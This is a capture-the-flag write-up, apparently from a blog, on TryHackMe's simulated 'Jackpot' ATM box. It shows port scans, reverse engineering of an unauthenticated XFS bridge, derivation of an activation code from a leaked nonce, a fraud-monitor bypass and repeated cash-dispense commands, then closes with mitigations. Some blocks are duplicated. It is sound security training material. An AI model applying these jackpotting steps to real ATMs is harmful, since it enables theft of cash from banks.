October 31, 2026
Jackpot — Raw XFS Protocol Abuse + Fraud Monitor Bypass | TryHackMe
A branch ATM’s maintenance interface was pulled off the production network for forensic review after a string of unexplained cash-outs…

By Roshan Rajbanshi
5 min read
A branch ATM's maintenance interface was pulled off the production network for forensic review after a string of unexplained cash-outs. What looked like a simple network service turned out to be a raw, unauthenticated bridge to the machine's XFS hardware layer — the same middleware real ATM jackpotting malware like Tyupkin and Ploutus abuses in the wild. Reverse engineering the protocol's framing, pulling a supervisor activation code from a leaked engineering tool, and defeating a fraud-detection toggle were enough to drain the vault and prove full cash-out capability with no card, no PIN, and no transaction ever touching the bank's actual authorization logic.
Attack Path: Raw TCP protocol enumeration (XFS bridge) → web console recon (session nonce leak) → activation-code keygen reversal → supervisor ARM → fraud monitor bypass (off payload) → repeated CDM_DISPENSE → vault drained → flag
Platform: TryHackMe
Machine: Jackpot
Difficulty: Medium
OS: Linux (simulated ATM service)
Date: 2026-10-30
Table of Contents
1. Reconnaissance
1.1 Port Scanning
1.2 Web Console Enumeration
1.3 XFS Protocol Discovery
2. Initial Access
2.1 Framing Format Reverse Engineering
2.2 Command Table Enumeration
2.3 Activation Code Derivation
3. Privilege Escalation
3.1 Supervisor ARM
3.2 Fraud Monitor Bypass
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & MitigationPlatform: TryHackMe
Machine: Jackpot
Difficulty: Medium
OS: Linux (simulated ATM service)
Date: 2026-10-30
Table of Contents
1. Reconnaissance
1.1 Port Scanning
1.2 Web Console Enumeration
1.3 XFS Protocol Discovery
2. Initial Access
2.1 Framing Format Reverse Engineering
2.2 Command Table Enumeration
2.3 Activation Code Derivation
3. Privilege Escalation
3.1 Supervisor ARM
3.2 Fraud Monitor Bypass
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation1. Reconnaissance
1.1 Port Scanning
An initial fast scan followed by a targeted service scan against <TARGET_IP> revealed three open ports.
nmap -Pn -F -sV <TARGET_IP>
nmap -p8080,9100 -sC -sV <TARGET_IP>
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
8080/tcp open http BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open jetdirect?nmap -Pn -F -sV <TARGET_IP>
nmap -p8080,9100 -sC -sV <TARGET_IP>
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
8080/tcp open http BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open jetdirect?Port 8080 identified itself as "Earth's National Bank — Terminal 004 Engineering Console." Port 9100 (normally associated with printer/JetDirect services) returned no standard banner under Nmap's default probes, marking it for manual inspection.
💡 Port 9100 is a classic red herring port number — JetDirect by convention, but Nmap could not fingerprint a known service, which is always worth a manual
nccheck.
1.2 Web Console Enumeration
Browsing to the web console on port 8080 exposed a live engineering dashboard: terminal status, cassette levels, and a polling /status JSON endpoint.
curl -s http://<TARGET_IP>:8080/status | python3 -m json.tool
{
"nonce": "839589",
"armed": false,
"monitor_on": true,
"locked": false,
"remaining_notes": 280,
"cassettes": [...],
"flag_released": false
}curl -s http://<TARGET_IP>:8080/status | python3 -m json.tool
{
"nonce": "839589",
"armed": false,
"monitor_on": true,
"locked": false,
"remaining_notes": 280,
"cassettes": [...],
"flag_released": false
}
The page source also referenced a downloadable "service tool" at /jackpot, described as deriving a "supervisor activation code" from the session code (nonce) shown on screen.
curl -s http://<TARGET_IP>:8080/jackpot -o jackpot
file jackpot
chmod +x jackpot
jackpot: ELF 64-bit LSB pie executable, x86-64, dynamically linked, strippedcurl -s http://<TARGET_IP>:8080/jackpot -o jackpot
file jackpot
chmod +x jackpot
jackpot: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped💡 A stripped ELF binary is normally a reversing exercise, but running it first with no arguments to read its own usage string is always the fastest way to learn its interface before reaching for a disassembler.
1.3 XFS Protocol Discovery
Connecting directly to port 9100 with nc revealed a self-documenting banner describing a custom binary protocol bridging to the terminal's local XFS service provider.
nc <TARGET_IP> 9100
{"service": "Branch Engineering Gateway", "protocol": "XFS bridge",
"request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data",
"reply_format": "2 byte big-endian length + <length> bytes of JSON",
"msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"},
"hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"}nc <TARGET_IP> 9100
{"service": "Branch Engineering Gateway", "protocol": "XFS bridge",
"request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data",
"reply_format": "2 byte big-endian length + <length> bytes of JSON",
"msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"},
"hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"}
2. Initial Access
2.1 Framing Format Reverse Engineering
The banner fully specified the wire format, requiring a length-prefixed read helper to correctly parse TCP stream boundaries rather than assuming a single recv() call returns a complete message. The service sends its banner immediately on connect, so the first read_msg() call on any new connection must drain the banner before a real request is issued. Full implementation: jackpot_exploit.py.
2.2 Command Table Enumeration
Querying WFS_INF_CDM_CAPABILITIES (0x0304) with GETINFO returned the full command table for the simulated cash dispenser module (CDM).
{"rc": "WFS_SUCCESS", "device_class": "CDM",
"commands": {
"WFS_INF_CDM_STATUS": "0x301",
"WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
"WFS_INF_CDM_CAPABILITIES": "0x304",
"WFS_CMD_CDM_DISPENSE": "0x401",
"WFS_CMD_CDM_ARM": "0x4f0",
"WFS_CMD_CDM_SET_MONITOR": "0x4f1",
"WFS_CMD_CDM_GET_FLAG": "0x4ff"},
"max_dispense": 40}{"rc": "WFS_SUCCESS", "device_class": "CDM",
"commands": {
"WFS_INF_CDM_STATUS": "0x301",
"WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
"WFS_INF_CDM_CAPABILITIES": "0x304",
"WFS_CMD_CDM_DISPENSE": "0x401",
"WFS_CMD_CDM_ARM": "0x4f0",
"WFS_CMD_CDM_SET_MONITOR": "0x4f1",
"WFS_CMD_CDM_GET_FLAG": "0x4ff"},
"max_dispense": 40}An unauthenticated EXECUTE call to WFS_CMD_CDM_DISPENSE returned WFS_ERR_CDM_NOTARMED, confirming the dispenser required a prior supervisor-mode transition before releasing cash.
2.3 Activation Code Derivation
The web console's /status endpoint exposed a rotating six-digit session nonce. The downloaded jackpot binary derived a corresponding activation code when supplied with that nonce as an argument.
curl -s http://<TARGET_IP>:8080/status | python3 -c "import json,sys; print(json.load(sys.stdin)['nonce'])"
./jackpot <nonce>curl -s http://<TARGET_IP>:8080/status | python3 -c "import json,sys; print(json.load(sys.stdin)['nonce'])"
./jackpot <nonce>The full nonce-fetch-and-derive logic is wrapped in get_status() / get_code() in jackpot_exploit.py.
[*] session nonce : 839589
[*] activation code: 65742151[*] session nonce : 839589
[*] activation code: 65742151⚠️ The nonce rotates quickly. Fetching the nonce, deriving the code, and using it must happen with minimal delay or the server responds with
WFS_ERR_CDM_INVALIDCODE.
3. Privilege Escalation
3.1 Supervisor ARM
Sending WFS_CMD_CDM_ARM (0x4f0) with the derived activation code as data transitioned the terminal into supervisor mode, after which a single WFS_CMD_CDM_DISPENSE call succeeded and released 40 notes.
{"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 4000, "remaining_notes": 240}{"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 4000, "remaining_notes": 240}Any subsequent dispense attempt — regardless of connection reuse, re-arming, added delay, or transaction-id-style payloads — was rejected with a fraud lockout:
{"rc": "WFS_ERR_CDM_LOCKED", "detail": "anomalous dispense with null transaction id -> machine locked", "lock_seconds": 45}{"rc": "WFS_ERR_CDM_LOCKED", "detail": "anomalous dispense with null transaction id -> machine locked", "lock_seconds": 45}Testing confirmed the lockout triggered on the second dispense overall, independent of payload content or timing, pointing to a dedicated fraud-monitor control rather than a data-format issue in the dispense call itself.
3.2 Fraud Monitor Bypass
The command table included WFS_CMD_CDM_SET_MONITOR (0x4f1). Structured JSON payloads ({"enabled": false}, {"monitor_on": false}, etc.) and raw byte values (\x00, b"false") were accepted (WFS_SUCCESS) but left monitor_on unchanged at true. A raw unstructured string payload disabled it correctly:
{"rc": "WFS_SUCCESS", "monitor_on": false}{"rc": "WFS_SUCCESS", "monitor_on": false}With the fraud monitor disabled, repeated dispense calls on the same armed session no longer triggered lockouts, allowing the full vault to be drained. Full exploit chain (arm, monitor bypass, drain loop, flag retrieval): jackpot_exploit.py.
{"rc": "WFS_SUCCESS", "notes": 40, "value": 400, "remaining_notes": 0,
"detail": "vault empty - cashout proven; GET_FLAG now available"}
{"rc": "WFS_SUCCESS", "flag": "THM{<REDACTED_FLAG>}"}{"rc": "WFS_SUCCESS", "notes": 40, "value": 400, "remaining_notes": 0,
"detail": "vault empty - cashout proven; GET_FLAG now available"}
{"rc": "WFS_SUCCESS", "flag": "THM{<REDACTED_FLAG>}"}
4. Proof of Compromise
GET_FLAG response confirmed vault drained to 0 remaining notes across all four
cassettes, with flag_released returning true and the flag value retrieved via
WFS_CMD_CDM_GET_FLAG.GET_FLAG response confirmed vault drained to 0 remaining notes across all four
cassettes, with flag_released returning true and the flag value retrieved via
WFS_CMD_CDM_GET_FLAG.5. Vulnerability Summary
# Vulnerability Severity Impact
1 Unauthenticated XFS bridge exposed on 9100 Critical Direct hardware-level
cash dispenser control
with zero authentication
2 Session nonce + activation-code keygen reachable High Supervisor/privileged
from the unauthenticated web console mode achievable by anyone
on the network
3 Fraud monitor togglable via unauthenticated Critical Core anti-jackpotting
EXECUTE command with a guessable string payload control fully bypassable
4 No transaction-id validation enforced on High Dispense actions
dispense actions unauditable / unattributable# Vulnerability Severity Impact
1 Unauthenticated XFS bridge exposed on 9100 Critical Direct hardware-level
cash dispenser control
with zero authentication
2 Session nonce + activation-code keygen reachable High Supervisor/privileged
from the unauthenticated web console mode achievable by anyone
on the network
3 Fraud monitor togglable via unauthenticated Critical Core anti-jackpotting
EXECUTE command with a guessable string payload control fully bypassable
4 No transaction-id validation enforced on High Dispense actions
dispense actions unauditable / unattributable6. Defense & Mitigation
⚠️ This box is a direct simulation of real ATM jackpotting techniques (Tyupkin, Ploutus, Cutlet Maker) — these mitigations mirror actual XFS hardening guidance.
Vuln 1 — Unauthenticated XFS bridge:
- Root cause: hardware-facing maintenance interface reachable from the branch LAN with no authentication, authorization, or network segmentation.
- Mitigations: enforce mutual TLS or signed-request authentication on any XFS bridge; restrict access to a dedicated, firewalled engineering VLAN only.
Vuln 2 — Activation code leak path:
- Root cause: the web console and the keygen tool were both reachable by the same unauthenticated party, defeating the purpose of a "secret" derivation.
- Mitigations: require separate, authenticated technician credentials to access the session nonce; never expose the keygen tool itself over the same network segment.
Vuln 3 — Fraud monitor bypass:
- Root cause: the SET_MONITOR command trusted an unauthenticated EXECUTE call and accepted an undocumented raw-string payload to disable a core security control.
- Mitigations: fraud monitoring state should not be remotely togglable at all from a maintenance interface; if required, gate it behind a signed, audited command only.
Vuln 4 — No transaction-id validation:
- Root cause: dispense actions were not bound to a verified, bank-issued transaction record, allowing dispensing outside any real transaction context.
- Mitigations: require dispense commands to reference a transaction ID issued and validated by the core banking system, not supplied freely by the caller.